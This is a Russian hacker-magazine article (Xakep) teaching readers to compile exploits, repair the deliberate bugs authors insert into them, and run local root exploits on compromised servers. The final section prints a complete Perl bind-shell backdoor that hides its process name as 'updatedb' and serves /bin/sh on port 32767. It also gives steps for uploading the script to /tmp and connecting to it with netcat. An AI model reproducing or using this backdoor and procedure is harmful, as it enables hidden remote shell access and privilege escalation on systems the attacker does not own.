Эксплойтный ликбез Олег Толстых aka NSD Xakep, номер #066, стр. 066-070-3 Компиляция виндовых эксплойтов Стандартных средств для компиляции программ в винде нет, поэтому тебе придется устанавливать специальный софт. Существует много различных виндовых компиляторов С, например С++ Builder от Borland’a, или CPP compiler от интела. Но пользоваться советую только двумя софтинами: Visual C++ от MS и компилятором lcc-win32 (www.nsd.ru/soft.php?group=hacksoft&razdel=other). Последний хоть и маленький (весит всего 4 метра), да удаленький. Смотри, как просто с его помощью собрать эксплойт. Допустим, ты успешно установил (на стадии установки никаких проблем возникнуть не должно) и запустил программу. Теперь перетащи в открывшееся окошко исходник сплойта (пусть это будет myms.c). Жми Compiler -> Make. Компилятор заявит, что для компилируемого сплойта не создан проект, и предлежит его сотворить. Сразу после того как ты дашь ему на это разрешение нажатием кнопки YES, эксплойт откомпилируется, в результате чего ты сможешь юзать только что появившийся exe'шник. В Visual Studio эксплойты компилятся аналогичным образом. Exploit bugs Большинство эксплойтов, находящихся в Сети, умышленно повреждаются самими программистами. Обычно они вносят незначительные изменения в исходный код для того, чтобы на стадии компиляции возникали ошибки. Зачем им заниматься таким членовредительством? :) Дело в том, что авторы пытаются предотвратить попадание своего xploit’a в руки скрипткиддисов, громящих в Сети все и вся. Поэтому прежде чем компилировать сплойт, тебе придется исправить в нем ошибки. А вот как раз для этого просто необходимо знать язык Си. И если ты его не знаешь - как можно быстрее начинай изучать! Чаще всего в эксплойт встраивают синтаксические ошибки – либо в какой-нибудь инструкции букву нарочно удалят, либо скобку не в ту сторону закроют (или откроют). Часто бывает так, что символ “*”, который является указателем на тип данных, ставят не с той стороны переменной, чтобы возникла ошибка. Словом, ошибки делают разные. Но для человека, мало-мальски знакомого с C++, это не проблема – он сразу видит и правит баги. Запуск эксплойтов Допустим, хакер нашел, залил на сервер и откомпилировал эксплойт, рутающий сервак. Теперь пришло время его запускать. Для того чтобы получить рута в системе с помощью local-exploit’a, веб-шеллом ему не обойтись. Хакеру необходим полноценный доступ. Нужно забиндить шелл на каком-нибудь порту, приконнектиться туда и только потом запускать сплойт. В этом ему поможет простой скрипт на Perl. Перловый скрипт, биндящий шелл на 32767 порту #!/usr/bin/perl $port = 32767; exit if fork; $0 = "updatedb" . " " x100; $SIG{CHLD} = 'IGNORE'; use Socket; socket(S, PF_INET, SOCK_STREAM, 0); setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1); bind(S, sockaddr_in($port, INADDR_ANY)); listen(S, 50); while(1){ accept(X, S); unless(fork) { open STDIN, "<&X"; open STDOUT, ">&X"; open STDERR, ">&X"; close X; exec("/bin/sh"); } close X;} Хакер заливает его в каталог /tmp и запускает командой “perl имя_скрипта.pl”, в результате чего на сервере открывается порт 32767. Как он может теперь соединиться с сервером? Лучше всего использовать для этого утилиту NetCat (www.nsd.ru/soft/1/nc11nt.zip). Синтаксис тулзы следующий: nc.exe <адрес_сервера> <порт>. После того как взломщик сконнектится с серваком и перейдет в папку со сплойтом, можно запускать вредоносное приложение. Если сплойт сработает успешно, хакер увидит картинку, подобную той, что ты видишь на скриншоте. |